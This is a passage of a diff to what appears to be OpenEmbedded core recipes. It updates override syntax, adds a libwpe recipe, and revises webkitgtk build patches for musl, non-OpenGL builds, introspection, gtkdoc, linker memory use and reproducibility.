REQUIRED_DISTRO_FEATURES = "x11"
-do_install_append () {
+do_install:append () {
install -d ${D}/${sysconfdir}/X11/Xsession.d
install -m 755 ${WORKDIR}/70settings-daemon.sh ${D}/${sysconfdir}/X11/Xsession.d/
}
diff --git a/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb b/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
index 28d5096023..4bb896fc7b 100644
--- a/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
+++ b/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
@@ -15,7 +15,7 @@ do_install() {
sed -i ${D}${datadir}/applications/shutdown.desktop -e 's#^Exec=\(.*\)#Exec=${base_sbindir}/\1#'
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q qemuarm $D${sysconfdir}/hostname && \
sed -i $D${datadir}/applications/shutdown.desktop -e 's#^Exec=\(.*\)/halt#Exec=\1/reboot#' \
|| true
diff --git a/meta/recipes-sato/webkit/libwpe_1.12.0.bb b/meta/recipes-sato/webkit/libwpe_1.12.0.bb
new file mode 100644
index 0000000000..ac4ee3eb23
--- /dev/null
+++ b/meta/recipes-sato/webkit/libwpe_1.12.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "General-purpose library specifically developed for the WPE-flavored port of WebKit."
+HOMEPAGE = "https://github.com/WebPlatformForEmbedded/libwpe"
+BUGTRACKER = "https://github.com/WebPlatformForEmbedded/libwpe/issues"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=371a616eb4903c6cb79e9893a5f615cc"
+DEPENDS = "virtual/egl libxkbcommon"
+
+inherit cmake features_check pkgconfig
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "e8eeca228a6b4c36294cfb63f7d3ba9ada47a430904a5a973b3c99c96a44c18c"
+
+# This is a tweak of upstream-version-is-even needed because
+# ipstream directory contains tarballs for other components as well.
+UPSTREAM_CHECK_REGEX = "libwpe-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar"
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch b/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
index fae3b0b2e5..54d34b1c69 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch
@@ -4,7 +4,7 @@ Date: Tue, 27 Oct 2015 16:02:19 +0200
Subject: [PATCH] FindGObjectIntrospection.cmake: prefix variables obtained
from pkg-config with PKG_CONFIG_SYSROOT_DIR
-Upstream-Status: Pending [review on oe-core list]
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232933]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
Source/cmake/FindGObjectIntrospection.cmake | 1 +
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 0c145c7ebd..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From c4d4d9f1aa74addefdad40294cf16d9e0b3dd6ec Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 6 Oct 2017 17:00:08 +0300
-Subject: [PATCH] Fix build with musl
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Source/JavaScriptCore/runtime/MachineContext.h | 10 +++++-----
- Source/WTF/wtf/Platform.h | 2 +-
- 2 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/Source/JavaScriptCore/runtime/MachineContext.h b/Source/JavaScriptCore/runtime/MachineContext.h
-index 823964c2..00841146 100644
---- a/Source/JavaScriptCore/runtime/MachineContext.h
-+++ b/Source/JavaScriptCore/runtime/MachineContext.h
-@@ -188,7 +188,7 @@ static inline void*& stackPointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- #if CPU(X86)
- return reinterpret_cast<void*&>((uintptr_t&) machineContext.gregs[REG_ESP]);
-@@ -335,7 +335,7 @@ static inline void*& framePointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -482,7 +482,7 @@ static inline void*& instructionPointerImpl(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -639,7 +639,7 @@ inline void*& argumentPointer<1>(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-@@ -756,7 +756,7 @@ inline void*& llintInstructionPointer(mcontext_t& machineContext)
- #error Unknown Architecture
- #endif
-
--#elif OS(FUCHSIA) || defined(__GLIBC__) || defined(__BIONIC__)
-+#elif defined(__linux__)
-
- // The following sequence depends on glibc's sys/ucontext.h.
- #if CPU(X86)
-diff --git a/Source/WTF/wtf/Platform.h b/Source/WTF/wtf/Platform.h
-index 34f7cb14..32ad9150 100644
---- a/Source/WTF/wtf/Platform.h
-+++ b/Source/WTF/wtf/Platform.h
-@@ -714,7 +714,7 @@
-
- #endif /* OS(DARWIN) */
-
--#if OS(DARWIN) || OS(FUCHSIA) || ((OS(FREEBSD) || defined(__GLIBC__) || defined(__BIONIC__)) && (CPU(X86) || CPU(X86_64) || CPU(ARM) || CPU(ARM64) || CPU(MIPS)))
-+#if OS(DARWIN) || OS(FUCHSIA) || ((OS(FREEBSD) || defined(__linux__) || defined(__BIONIC__)) && (CPU(X86) || CPU(X86_64) || CPU(ARM) || CPU(ARM64) || CPU(MIPS)))
- #define HAVE_MACHINE_CONTEXT 1
- #endif
-
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch
new file mode 100644
index 0000000000..09256951f4
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch
@@ -0,0 +1,133 @@
+From 646e347c173dbb9782492ac7cb4f54b65533ba90 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Sun, 17 Oct 2021 20:49:21 +0000
+Subject: [PATCH] Fix build without opengl-or-es
+
+* fix build failure when opengl-or-es is disabled:
+ In file included from /OE/build/oe-core/tmp-glibc/work/core2-64-oe-linux/webkitgtk/2.34.0-r0/webkitgtk-2.34.0/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp:30,
+ from /OE/build/oe-core/tmp-glibc/work/core2-64-oe-linux/webkitgtk/2.34.0-r0/build/DerivedSources/WebKit/unified-sources/UnifiedSource-54928a2b-36.cpp:1:
+ /OE/build/oe-core/tmp-glibc/work/core2-64-oe-linux/webkitgtk/2.34.0-r0/webkitgtk-2.34.0/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h:41:10: fatal error: WebCore/CoordinatedGraphicsLayer.h: No such file or directory
+ 41 | #include <WebCore/CoordinatedGraphicsLayer.h>
+ | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ compilation terminated.
+
+* the CoordinatedGraphicsLayer.h header installation is controled by
+ USE_COORDINATED_GRAPHICS in webkitgtk-2.34.0/Source/WebCore/platform/TextureMapper.cmake
+ but in Source/cmake/OptionsGTK.cmake USE_COORDINATED_GRAPHICS was enabled only inside
+ if (USE_OPENGL_OR_ES)
+
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232934]
+---
+ .../DrawingAreaProxyCoordinatedGraphics.cpp | 2 +-
+ .../DrawingAreaProxyCoordinatedGraphics.h | 2 +-
+ .../CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp | 2 +-
+ .../CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h | 2 +-
+ .../WebPage/CoordinatedGraphics/LayerTreeHost.cpp | 4 ++--
+ .../WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h | 6 +++---
+ 6 files changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
+index 038d9ee2..5e828a10 100644
+--- a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
++++ b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.cpp
+@@ -152,7 +152,7 @@ void DrawingAreaProxyCoordinatedGraphics::setBackingStoreIsDiscardable(bool isBa
+ #endif
+ }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void DrawingAreaProxyCoordinatedGraphics::adjustTransientZoom(double scale, FloatPoint origin)
+ {
+ send(Messages::DrawingArea::AdjustTransientZoom(scale, origin));
+diff --git a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h
+index b23a45ff..cd263402 100644
+--- a/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h
++++ b/Source/WebKit/UIProcess/CoordinatedGraphics/DrawingAreaProxyCoordinatedGraphics.h
+@@ -57,7 +57,7 @@ private:
+ void waitForBackingStoreUpdateOnNextPaint() override;
+ void setBackingStoreIsDiscardable(bool) override;
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void adjustTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ void commitTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ #endif
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp
+index 33ac2e1d..42375784 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.cpp
+@@ -486,7 +486,7 @@ void DrawingAreaCoordinatedGraphics::didUpdate()
+ displayTimerFired();
+ }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void DrawingAreaCoordinatedGraphics::adjustTransientZoom(double scale, FloatPoint origin)
+ {
+ if (!m_transientZoom) {
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h
+index d8dc6df7..c8322364 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/DrawingAreaCoordinatedGraphics.h
+@@ -84,7 +84,7 @@ private:
+ void updateBackingStoreState(uint64_t backingStoreStateID, bool respondImmediately, float deviceScaleFactor, const WebCore::IntSize&, const WebCore::IntSize& scrollOffset) override;
+ void didUpdate() override;
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void adjustTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ void commitTransientZoom(double scale, WebCore::FloatPoint origin) override;
+ #endif
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp
+index f3304d10..ca0476ff 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.cpp
+@@ -156,7 +156,7 @@ void LayerTreeHost::layerFlushTimerFired()
+
+ bool didSync = m_coordinator.flushPendingLayerChanges(flags);
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ // If we have an active transient zoom, we want the zoom to win over any changes
+ // that WebCore makes to the relevant layers, so re-apply our changes after flushing.
+ if (m_transientZoom)
+@@ -453,7 +453,7 @@ void LayerTreeHost::renderNextFrame(bool forceRepaint)
+ }
+ }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ FloatPoint LayerTreeHost::constrainTransientZoomOrigin(double scale, FloatPoint origin) const
+ {
+ FrameView& frameView = *m_webPage.mainFrameView();
+diff --git a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h
+index 4f727e41..b070266e 100644
+--- a/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h
++++ b/Source/WebKit/WebProcess/WebPage/CoordinatedGraphics/LayerTreeHost.h
+@@ -37,7 +37,7 @@
+ #include <wtf/Forward.h>
+ #include <wtf/OptionSet.h>
+ #include <wtf/RunLoop.h>
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ #include <WebCore/CoordinatedGraphicsLayer.h>
+ #endif
+
+@@ -100,7 +100,7 @@ public:
+
+ WebCore::PlatformDisplayID displayID() const { return m_displayID; }
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ void adjustTransientZoom(double, WebCore::FloatPoint);
+ void commitTransientZoom(double, WebCore::FloatPoint);
+ #endif
+@@ -213,7 +213,7 @@ private:
+ #endif // USE(COORDINATED_GRAPHICS)
+ WebCore::PlatformDisplayID m_displayID;
+
+-#if PLATFORM(GTK)
++#if PLATFORM(GTK) && USE(COORDINATED_GRAPHICS)
+ bool m_transientZoom { false };
+ double m_transientZoomScale { 1 };
+ WebCore::FloatPoint m_transientZoomOrigin;
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
index aa9a06701a..e06607ba2b 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch
@@ -1,9 +1,9 @@
-From 0afc194c6446e6c3242f1d706b4564e3a9cb2cee Mon Sep 17 00:00:00 2001
+From 4718888071e29deb8b245b88c81577fd5bac4e5e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 29 Aug 2016 16:38:11 +0300
Subject: [PATCH] Fix racy parallel build of WebKit2-4.0.gir
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232935]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
@@ -11,12 +11,12 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/Source/WebKit/PlatformGTK.cmake b/Source/WebKit/PlatformGTK.cmake
-index a074a80..8c6ebb5 100644
+index a069c5f6..ea2f542b 100644
--- a/Source/WebKit/PlatformGTK.cmake
+++ b/Source/WebKit/PlatformGTK.cmake
-@@ -728,8 +728,9 @@ if (ENABLE_INTROSPECTION)
- string(REGEX MATCHALL "-L[^ ]*"
- INTROSPECTION_ADDITIONAL_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
+@@ -650,8 +650,9 @@ if (ENABLE_INTROSPECTION)
+ set(GIR_SOURCES_TOP_DIRS "--sources-top-dirs=${CMAKE_BINARY_DIR}")
+ endif ()
- add_custom_command(
- OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.gir
@@ -26,7 +26,7 @@ index a074a80..8c6ebb5 100644
DEPENDS WebKit
DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS} LDFLAGS=
-@@ -773,7 +774,7 @@ if (ENABLE_INTROSPECTION)
+@@ -699,7 +700,7 @@ if (ENABLE_INTROSPECTION)
add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/WebKit2WebExtension-${WEBKITGTK_API_VERSION}.gir
DEPENDS ${CMAKE_BINARY_DIR}/JavaScriptCore-${WEBKITGTK_API_VERSION}.gir
@@ -35,7 +35,7 @@ index a074a80..8c6ebb5 100644
COMMAND CC=${CMAKE_C_COMPILER} CFLAGS=-Wno-deprecated-declarations\ ${CMAKE_C_FLAGS}
LDFLAGS="${INTROSPECTION_ADDITIONAL_LDFLAGS}"
${LOADER_LIBRARY_PATH_VAR}="${INTROSPECTION_ADDITIONAL_LIBRARY_PATH}"
-@@ -828,7 +829,7 @@ if (ENABLE_INTROSPECTION)
+@@ -761,7 +762,7 @@ if (ENABLE_INTROSPECTION)
add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/WebKit2-${WEBKITGTK_API_VERSION}.typelib
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch b/meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch
deleted file mode 100644
index e8d1d8c341..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From bed4cf4aaa6aad4172ec9942e9039fb8e1ef68a4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 29 Feb 2016 18:13:39 +0200
-Subject: [PATCH] OptionsGTK.cmake: drop the hardcoded introspection/gtkdoc
- disabling when cross-compiling
-
-This was not possible to override from the command line and in OpenEmbedded
-(one of the most prominent cross-compilation frameworks) introspection does work fine,
-through the use of qemu target emulation.
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
-Upstream-Status: Pending
-
----
- Source/cmake/OptionsGTK.cmake | 6 ------
- 1 file changed, 6 deletions(-)
-
-diff --git a/Source/cmake/OptionsGTK.cmake b/Source/cmake/OptionsGTK.cmake
-index 661b40e..404441b 100644
---- a/Source/cmake/OptionsGTK.cmake
-+++ b/Source/cmake/OptionsGTK.cmake
-@@ -352,12 +352,6 @@ if (ENABLED_COMPILER_SANITIZERS)
- set(ENABLE_INTROSPECTION OFF)
- endif ()
-
--# Override the cached variables, gtk-doc and gobject-introspection do not really work when cross-building.
--if (CMAKE_CROSSCOMPILING)
-- set(ENABLE_GTKDOC OFF)
-- set(ENABLE_INTROSPECTION OFF)
--endif ()
--
- # Override the cached variable, gtk-doc does not really work when building on Mac.
- if (APPLE)
- set(ENABLE_GTKDOC OFF)
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch
index e7c668c040..866e9d9d09 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch
@@ -1,4 +1,4 @@
-From 4b5e02212a31b82fc9b3becad90542274816fc29 Mon Sep 17 00:00:00 2001
+From 1c7e7a385387d7febf633bbb6d2b99ece523e719 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 11 Aug 2016 17:13:51 +0300
Subject: [PATCH] Tweak gtkdoc settings so that gtkdoc generation works under
@@ -17,15 +17,15 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/Source/cmake/GtkDoc.cmake b/Source/cmake/GtkDoc.cmake
-index b0fb31ca..6cb6313d 100644
+index 18e86448..102c873a 100644
--- a/Source/cmake/GtkDoc.cmake
+++ b/Source/cmake/GtkDoc.cmake
@@ -4,7 +4,7 @@ macro(ADD_GTKDOC_GENERATOR _stamp_name _extra_args)
add_custom_command(
OUTPUT "${CMAKE_BINARY_DIR}/${_stamp_name}"
DEPENDS ${DocumentationDependencies}
-- COMMAND ${CMAKE_COMMAND} -E env "CC=${CMAKE_C_COMPILER}" "CFLAGS=${CMAKE_C_FLAGS} -Wno-unused-parameter" "LDFLAGS=${CMAKE_EXE_LINKER_FLAGS}" ${CMAKE_SOURCE_DIR}/Tools/gtkdoc/generate-gtkdoc ${_extra_args}
-+ COMMAND ${CMAKE_COMMAND} -E env "CC=${CMAKE_C_COMPILER}" "CFLAGS=${CMAKE_C_FLAGS} -Wno-unused-parameter" "LD=${CMAKE_C_COMPILER}" "LDFLAGS=${CMAKE_C_LINK_FLAGS}" "RUN=${CMAKE_BINARY_DIR}/gtkdoc-qemuwrapper" ${CMAKE_SOURCE_DIR}/Tools/gtkdoc/generate-gtkdoc ${_extra_args}
+- COMMAND ${CMAKE_COMMAND} -E env "CC=${CMAKE_C_COMPILER}" "CFLAGS=${CMAKE_C_FLAGS} -Wno-unused-parameter" "LDFLAGS=${CMAKE_EXE_LINKER_FLAGS}" ${PYTHON_EXECUTABLE} ${CMAKE_SOURCE_DIR}/Tools/gtkdoc/generate-gtkdoc ${_extra_args}
++ COMMAND ${CMAKE_COMMAND} -E env "CC=${CMAKE_C_COMPILER}" "CFLAGS=${CMAKE_C_FLAGS} -Wno-unused-parameter" "LD=${CMAKE_C_COMPILER}" "LDFLAGS=${CMAKE_C_LINK_FLAGS}" "RUN=${CMAKE_BINARY_DIR}/gtkdoc-qemuwrapper" ${PYTHON_EXECUTABLE} ${CMAKE_SOURCE_DIR}/Tools/gtkdoc/generate-gtkdoc ${_extra_args}
COMMAND touch ${_stamp_name}
WORKING_DIRECTORY "${CMAKE_BINARY_DIR}"
VERBATIM
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch b/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
index 3e03aa968c..9e2bf09dd7 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch
@@ -7,7 +7,7 @@ Subject: [PATCH] When building introspection files, add CMAKE_C_FLAGS to the
g-ir-compiler is using a C compiler internally, so it needs to set
the proper flags for it.
-Upstream-Status: Pending [review on oe-core list]
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232936]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
diff --git a/meta/recipes-sato/webkit/webkitgtk/cross-compile.patch b/meta/recipes-sato/webkit/webkitgtk/cross-compile.patch
deleted file mode 100644
index 4d1de72851..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/cross-compile.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Disable the tests meant to run when compiling natively
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: webkitgtk-2.14.5/Source/cmake/OptionsCommon.cmake
-===================================================================
---- webkitgtk-2.14.5.orig/Source/cmake/OptionsCommon.cmake
-+++ webkitgtk-2.14.5/Source/cmake/OptionsCommon.cmake
-@@ -67,8 +67,11 @@ endif ()
- # Detect Cortex-A53 core if CPU is ARM64 and OS is Linux.
- # Query /proc/cpuinfo for each available core and check reported CPU part number: 0xd03 signals Cortex-A53.
- # (see Main ID Register in ARM Cortex-A53 MPCore Processor Technical Reference Manual)
--set(WTF_CPU_ARM64_CORTEXA53_INITIALVALUE OFF)
--if (WTF_CPU_ARM64 AND (${CMAKE_SYSTEM_NAME} STREQUAL "Linux"))
-+if( NOT WTF_CPU_ARM64_CORTEXA53_INITIALVALUE)
-+ set(WTF_CPU_ARM64_CORTEXA53_INITIALVALUE OFF)
-+endif(WTF_CPU_ARM64_CORTEXA53_INITIALVALUE)
-+
-+if (WTF_CPU_ARM64 AND NOT CMAKE_CROSSCOMPILING AND (${CMAKE_SYSTEM_NAME} STREQUAL "Linux"))
- execute_process(COMMAND nproc OUTPUT_VARIABLE PROC_COUNT)
- math(EXPR PROC_MAX ${PROC_COUNT}-1)
- foreach (PROC_ID RANGE ${PROC_MAX})
diff --git a/meta/recipes-sato/webkit/webkitgtk/include_array.patch b/meta/recipes-sato/webkit/webkitgtk/include_array.patch
deleted file mode 100644
index 7268b04bf4..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/include_array.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Added missing include for std::array
-
-Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=197085]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- webkitgtk-2.24.0/Source/JavaScriptCore/assembler/PerfLog.cpp.org 2019-04-18 18:03:50.226231691 -0700
-+++ webkitgtk-2.24.0/Source/JavaScriptCore/assembler/PerfLog.cpp 2019-04-18 18:07:28.569153989 -0700
-@@ -31,6 +31,7 @@
- #include <elf.h>
- #include <fcntl.h>
- #include <mutex>
-+#include <array>
- #include <sys/mman.h>
- #include <sys/stat.h>
- #include <sys/syscall.h>
diff --git a/meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch b/meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch
new file mode 100644
index 0000000000..907d36c4cd
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch
@@ -0,0 +1,28 @@
+From ec6045fcf5a46123b54029a675d08d89a5e30f21 Mon Sep 17 00:00:00 2001
+From: Alberto Garcia <berto@igalia.com>
+Date: Sun, 25 Apr 2021 18:45:13 +0000
+Subject: [PATCH] Reduce memory usage when not using the Gold linker
+
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232938]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ Source/cmake/OptionsCommon.cmake | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/Source/cmake/OptionsCommon.cmake b/Source/cmake/OptionsCommon.cmake
+index dd4da682..71ad6106 100644
+--- a/Source/cmake/OptionsCommon.cmake
++++ b/Source/cmake/OptionsCommon.cmake
+@@ -101,6 +101,11 @@ option(GCC_OFFLINEASM_SOURCE_MAP
+ ${GCC_OFFLINEASM_SOURCE_MAP_DEFAULT})
+
+ option(USE_APPLE_ICU "Use Apple's internal ICU" ${APPLE})
++# Pass --reduce-memory-overheads to the bfd linker in order to save memory
++if (NOT USE_LD_GOLD)
++ set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--reduce-memory-overheads")
++ set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--reduce-memory-overheads")
++endif ()
+
+ # Enable the usage of OpenMP.
+ # - At this moment, OpenMP is only used as an alternative implementation
diff --git a/meta/recipes-sato/webkit/webkitgtk/reproducibility.patch b/meta/recipes-sato/webkit/webkitgtk/reproducibility.patch
new file mode 100644
index 0000000000..e866a1a193
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/reproducibility.patch
@@ -0,0 +1,22 @@
+Injection a year based on the current date isn't reproducible. Hack this
+to a specific year for now for reproducibilty and to avoid autobuilder failures.
+
+The correct fix would be to use SOURCE_DATE_EPOCH from the environment and
+then this could be submitted upstream, sadly my ruby isn't up to that.
+
+Upstream-Status: Pending [could be reworked]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: webkitgtk-2.34.2/Source/JavaScriptCore/generator/GeneratedFile.rb
+===================================================================
+--- webkitgtk-2.34.2.orig/Source/JavaScriptCore/generator/GeneratedFile.rb
++++ webkitgtk-2.34.2/Source/JavaScriptCore/generator/GeneratedFile.rb
+@@ -25,7 +25,7 @@ require 'date'
+ require 'digest'
+
+ $LICENSE = <<-EOF
+-Copyright (C) #{Date.today.year} Apple Inc. All rights reserved.
++Copyright (C) 2021 Apple Inc. All rights reserved.
+
